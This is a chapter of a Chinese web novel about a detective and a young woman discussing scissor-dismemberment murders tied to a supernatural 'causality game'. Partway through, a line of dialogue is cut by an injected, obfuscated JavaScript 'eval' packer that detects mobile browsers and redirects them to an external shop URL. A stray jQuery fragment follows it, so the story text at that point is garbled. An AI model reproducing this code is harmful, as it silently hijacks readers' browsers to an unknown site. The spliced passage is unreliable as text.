文趣网 > 都市小说 > 把地球放进冰箱分几步 > 21.剪刀无法剪断的物品是什么?(二)
    几分钟后,蒋征又回到了店中。

    他的SUV车是感应式的,只要车钥匙在车内,他就能直接打开车门。

    蒋征神色有些复杂地重新坐回到布听面前:“就像你说的那样,车钥匙就在副驾驶的遮阳板后,但是我明明...”

    布听知道他想说什么:“我知道,我也记得你用了车钥匙锁上了车。”

    “算是一场魔术中的可控的注意力误导吧,借由手部动作吸引你的注意力使得你放松警惕,而且我很认真的向你撒了谎,我也没想到能一次性成功。”

    她的手部动作引导他分心,而布听又是一本正经地认真说出谎言,他不能否认在那一瞬间的确相信了她的话。

    布听拎起茶水壶给他倒了杯焦香大麦茶安慰他:“放心,我前不久才被我那位朋友夸思维逻辑能力正常,我绝对不会无缘无故撒弥天大谎。”

    蒋征也道:“那你也放心,我也不会对你逼供的。”

    诶,都知道她能造成什么样的实际影响了竟然还能开出玩笑来么?

    “这粥味道特别好,就是有些烫,我先帮你盛一些晾凉?”见她还没动筷子,蒋征自然而然地示意她将碗递过来,

    “好。”布听将自己的白瓷碗递到他手里。

    这顿算是这几天来吃得最正常美味的一餐了。

    吃饱喝足以后,因饱食所带来的满足感安抚了几日来焦躁的情绪,连同左肩处的疼痛都减轻了一些。

    两人并没有直接驾车离开,知道她喜欢喝饮料,蒋征干脆带她去了一家僻静的咖啡馆。

    蒋征特地没有在饭桌上直入正题,生怕谈起血腥画面令她感到不适。

    “两位受害者的死因是被剪去四肢导致失血过多身亡。”

    他大致描绘了一下两人的伤口状况,并没有强调尸体具体缺损的位置,也没有指名道姓地说案子中的受害人是谁。

    结合布听最近卷入的案件,她应该能明白。

    布听:“也就是说,法医认为凶器是剪刀,而且至少是花园那种专业级别的大剪刀。”

    蒋征微点头,“每一处的伤口都太过整齐平滑,行凶手法非常干净利落。侧写师判断凶手应当是身强力壮的男性,所以那天我师父排除了你的嫌疑。”

    布听想了想也对,别说是女性,哪怕是男性想要如此一刀干脆利落地断肢根本不是容易的事。

    “现在案件的疑点是,除了一家三口,现场没有发现有第四人所留下的痕迹,与纵火案一样,整个事件像是在密闭空间内凭空完成的。”

    在梳理出现场的所有线索后,这个案子就显得无比诡异。

    线索和犯案过程无法对接,光是在寻找凶器这件事上就难倒了办案人员。

    法医认为凶器既不是电锯也不是斧头,而是一把尺寸足够大,刃口足够锋利的剪刀。

    他们特地做过尝试,即便找到足够大且锋利的剪刀,凭借人力也根本不可能如此干净利落地一刀剪下来。

    除非借助机器。

    这起案子根本不像是一个人能完成的事。

    布听:“所以你想到了被剪舌的女店员。”

    蒋征:“不只是想到,完整断舌的案发过程是在你眼前发生的吧,我想听听你的推测,凶手会是什么样的人,又是以什么样的手法杀死了两位被害人。”

    布听:“两起案子最无法理解的过程是断舌和剪肢是如何隔空完成的吧。”

    她随手从抽纸中取了一张纸巾,仔细叠了叠,将其折成类人形,然后以食指中指拟做剪刀,以倾斜面夹住了小人的双腿。

    蒋征紧紧地盯着她这个举动,只听布听口中喃喃道:“请用剪刀剪下小纸人的四肢,并将其.....”随后声音越来越小直到无声。

    蒋征追问道:“并将其什么?”

    布听摇摇头:“我目前还想象不到这名凶手为了完成什么事才会进行这样的举动。”

    蒋征:“造成这场惨剧的理由还不够充分。”

    至少要判断是仇杀,情杀,还是一场无妄之灾。

    但是蒋征注意到她剪刀手剪纸人动作是对的,被害人的双腿不是以水平线被剪掉的,而是自下而上的斜线。

    蒋征:“比起说是因果,像是一场怪异的游戏,布听小姐,你也是其中的一员吗?”

    她此刻无法再撒谎,要么回答肯定答案,要么保持缄默不言。

    于是她给了个折中的答案:“算是吧,我是糊里糊涂地就卷进去了,这可不是我我自愿的。”

    “所以你那位朋友也是游戏玩家?”蒋征似乎还挺在意薛浪麟。

    “是,但是我们不熟悉。”

    蒋征:“那我需要用什么办法才能参与其中。”

    “参与?”

    布听闻言呆了一下,然后拼命摇头:“不行不行不行!你千万不能加入进来!”

    “这不是一般的无间道,是真正颠覆人类想象和认知的因果联系,你都不知道前两天我经历了那一系列颠覆认知的事情后我感觉我的世界观都被刷新了一遍!就是因为我没能做到,我的地址才被泄露了出去,你还有亲人和朋友,不能拿他们冒险。”

    而她自己不一样,她没有任何牵挂,在抓到那个烧毁她家害死兄长的凶手之前,她必然奉陪到底。

    蒋征蹙眉,一脸凝重道:“我愿意相信你此刻所说的话都是真的。如果不及时抓到幕后凶手,只会有越来越多无辜的人受罪。况且,不管是凶杀现场还是火灾现场,无一例外都没有指纹,就算能抓到凶手找到凶器,我们也难以对其起诉定罪。”

    实际上布听也想到了这种可能。

    布听:“如果真的找到了凶手,在他犯案之前我会去当这个坏人,把他们送进地狱。”

    “布听,你....”

    蒋征眉头皱得更深,他冥冥之中感觉到布听正在逐渐迈步走向一处深不见底的深渊。

    而他想伸手一把将她拉回来,就这么抬手之距,一道看不见也摸不着的朦胧雾气挡在了他面前。

    此地禁止入内。

    布听神色平静,指尖拨弄着冰凉饮料杯上的水珠,缓缓说道:“这个世界上没有绝对的公正,我只相信种因得果,这个人既然将他人的性命视为草芥,就必须要收获他所种下的恶果。”

    “不过是一场电车难题,你只需要完成你的工作,真相终会水落石出,罪犯终将受到惩罚,至于决定几人生死的电车拉杆,我替你拉。”

    如果法律不能对其定罪,那么她很明确,哪怕动用恶魔的最后一次请求,她也会将那种人送到地狱去。

    只要终端一直存在,那这样的事就会一直发生。

    那么如果还有其他终端的使用者也干出这种事呢?

    她该怎么做?拿到其他的高阶终端吗?

    她想要阻止这场游戏,就必须找到幕后使者让这场游戏停下来。

    蒋征心底仍然有些复杂:“那我还有个疑问,那种因果游戏可以将人死而复生吗?”

    布听也愣了,她对高阶终端的认知也算不上多。

    “我不知道,我本人并不认同复活这种行为,哪怕心里已经接受了他的离去,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757979|208463||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人真的死而复生,也会不可避免地生出芥蒂吧。”

    她小声嘟囔道:“万一恐龙复活了人类咋办。”

    蒋征:“.....”

    算了。一般人可能会想到复活已经逝去的亲人,但这位显然首先想到的是不破坏社会秩序。

    接下来无论他怎么问,布听对于所谓因果回答的细节都避而不答。

    眼看时间指向了八点,蒋征再得不到什么有效信息,便只好先开车将布听送回了她临时居住的酒店。

    将她送回后,蒋征买了夜宵和咖啡回到办公室。

    长条办公桌上摊满案卷,空气中混着纸张与淡淡的烟味,办公室里还有好些人在各自忙碌自己的事。

    蒋征:“各位辛苦,我买了夜宵,吃点东西填肚子。”

    “谢谢蒋哥!”“谢谢蒋队!”

    “你的。”蒋征顺手将一份汤粉放在江庆桌面上。

    江庆接过塑料包装盒一看:“哇,是老鸭粉丝汤!真有心啊,不枉我查了一晚上。”

    蒋征:“有新的线索吗?”

    江庆:“你看,要那名手持巨大剪刀的女性找到了,这位女性是本市蛮有名的一名coser,别称叫小念,是个很漂亮的妹子。”

    其中一张与布听所拍照片相符,是手持剪刀、穿戴婚纱的剪刀新娘形象。

    但布听照片上的那个女人怀抱之物的确是晴天娃娃。

    也有是说布听白天有可能没看错,这个女孩当时穿的确是婚纱。

    江庆见他看得认真打趣道:“蒋哥,为什么突然查这个妹子啊?你不会移情别恋了吧?”

    “移情别恋?请问我是什么时候恋的?”

    “那位名字很特别的小姐啊,你今晚不是去找人家了解情况去了吗?难道人家放你鸽子了?”

    蒋征啧了一声,蹙眉问道:“你找到便利店锁门那名嫌疑人的下落了吗?”

    “还没有,我发现那小子精得很,反侦查意识还挺强的,街道上大部分监控摄像头那人都有意识避开了,避不开的也没留下显著特征,我估计这是个有前科的。”

    “有前科?”蒋征低头思索片刻。

    “小廖。”

    “诶,蒋哥,怎么了?”戴黑框眼镜的年轻男生正埋头苦吃,闻言抬起头来应声。

    蒋征:“帮我核查本市近两年来,有放火犯罪前科、已经刑满释放的人员,重点筛选从事电器维修,尤其是空调维修行业的人员。”

    “好的,我马上去查。”

    江庆一脸神秘道:“蒋哥,那嫌疑人确实不好找,但好在便利店那个女店员外部特征比较明显,很多人对她有深刻印象。”

    “我今天让走访人员去查了,在着火案附近的便利店中她几乎都有过试岗。那女孩外貌实在是太令人印象深刻了,但她手脚挺麻利的,干活又勤快。她也不是生来长得难看,只是被油毁了容,老板觉得应付夜班应该没什么问题。”

    江庆:“但是她每次只干几天就走人,工资也不要,人悄无声息就走了。”

    蒋征:“每次只干几天?”

    江庆:“说来也怪,她一走,便利店里的收银机就故障了,而且每家便利店的都是一样的情况,从便利店内部监控摄像头又没看到她有偷偷破坏收银机的举动,店家只能自认倒霉换新。”

    又是收银机。

    蒋征道:“取完后台数据的那台收银机放在哪,我想看看。”

    江庆闻到粉丝的香味只感觉肚子更饿了:“在会议室桌面上摆着,我先吃晚饭,粉丝再泡汤就没了。”